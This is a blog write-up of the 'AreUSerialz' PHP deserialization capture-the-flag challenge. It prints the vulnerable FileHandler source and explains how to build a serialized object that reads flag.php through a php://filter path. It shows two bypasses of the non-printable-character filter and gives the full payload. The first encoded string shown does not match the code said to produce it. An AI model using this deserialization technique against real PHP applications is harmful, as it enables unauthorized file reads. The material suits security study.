【BUUCTF】AreUSerialz

Mr_Soap發表於2024-08-01

【BUUCTF】AreUSerialz (反序列化)

題目來源

收錄於:BUUCTF  網鼎杯 2020 青龍組

題目描述

根據PHP程式碼進行反序列化

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

題解

此題解題思路較為清晰,反序列化時依次呼叫的函式為:

__destruct()  ==>  process() ==>  read()

read()中的file_get_contents()中得到我們要讀的檔案。

這裡直接給出構造的類

<?php

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
        $this->content = "Hello World!";      //$content的值隨意

    }
}

$o = new FileHandler();
$s = urlencode(serialize($o));
echo $s;

這裡由於存在不可列印的字元,且不可隨意丟棄,因此我們需要對序列化後的字串進行URL編碼。編碼後得到$s的值為

O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3BN%3Bs%3A11%3A%22%00%2A%00filename%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D

對於一般的題目,到這裡就能得到flag了,但是該題目中還有函式is_valid(),用於檢測傳遞的字串中是否有不可列印的字元。

由於類中有protected的屬性,因此我們序列化後的字串中會有不可列印字元%00,這道題的難點就在這裡。

這裡有兩種方式可以進行繞過

方式一

當PHP版本 >= 7.2 時,反序列化對訪問類別不敏感。
即可以直接將protected改為public,即可避免出現不可列印的字元,同時可以成功反序列化。

<?php

class FileHandler {

    public $op;
    public $filename;
    public $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
        $this->content = "Hello World!";      //$content的值隨意

    }
}

$o = new FileHandler();
echo(urlencode(serialize($o)));

傳入列印的字串即可得到base64編碼的flag

方式二

此方法並不改變變數的保護型別。

當我們向瀏覽器傳遞%00時,瀏覽器會對其進行URL解碼,解析為ascii值為0的單個字元。
當我們向瀏覽器傳遞\00時,瀏覽器不會將其解析為單個字元。
下面用程式碼進行驗證:

<?php

function is_valid($s) {
    echo "str_length=";         //輸出字串長度
    echo strlen($s);
    echo "<br>ASCII(str):  ";
    for($i = 0; $i < strlen($s); $i++){
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
            echo "invalid!!!";
            return false;
        }
        echo ord($s[$i]);       //輸出每個字元的ASCII
        echo " ";
    }
    return true;
}

$str = (string)$_GET['str'];
is_valid($str);

?>

img

img

因此我們將%00替換為\00,就可以繞開ord()的判斷。但是這樣一來,反序列化時\00將無法正確解析為單個字元。

我們知道序列化後的字串中,用 s 表示字串,用 i 表示整數。此外, S 用於表示十六進位制的字串。

於是,將表示字串的 s 替換為表示十六進位制字元的 S,即可完成繞過。

<?php

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
        $this->content = "Hello World!";      //$content的值隨意

    }
}

$o = new FileHandler();
$s = urlencode(serialize($o));
$s = str_replace('%00','\00',$s);
echo $s;

img

將紅框內的小寫 s 替換為大寫 S,得到的payload為

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D

總結

當遇到不可列印字元被過濾時,有兩種方法:

  • PHP版本>=7.2時,可將protected直接修改為public

  • 將序列化後的字串中的%00修改為\00,並將保護型別為protected的變數的變數型別由s改為S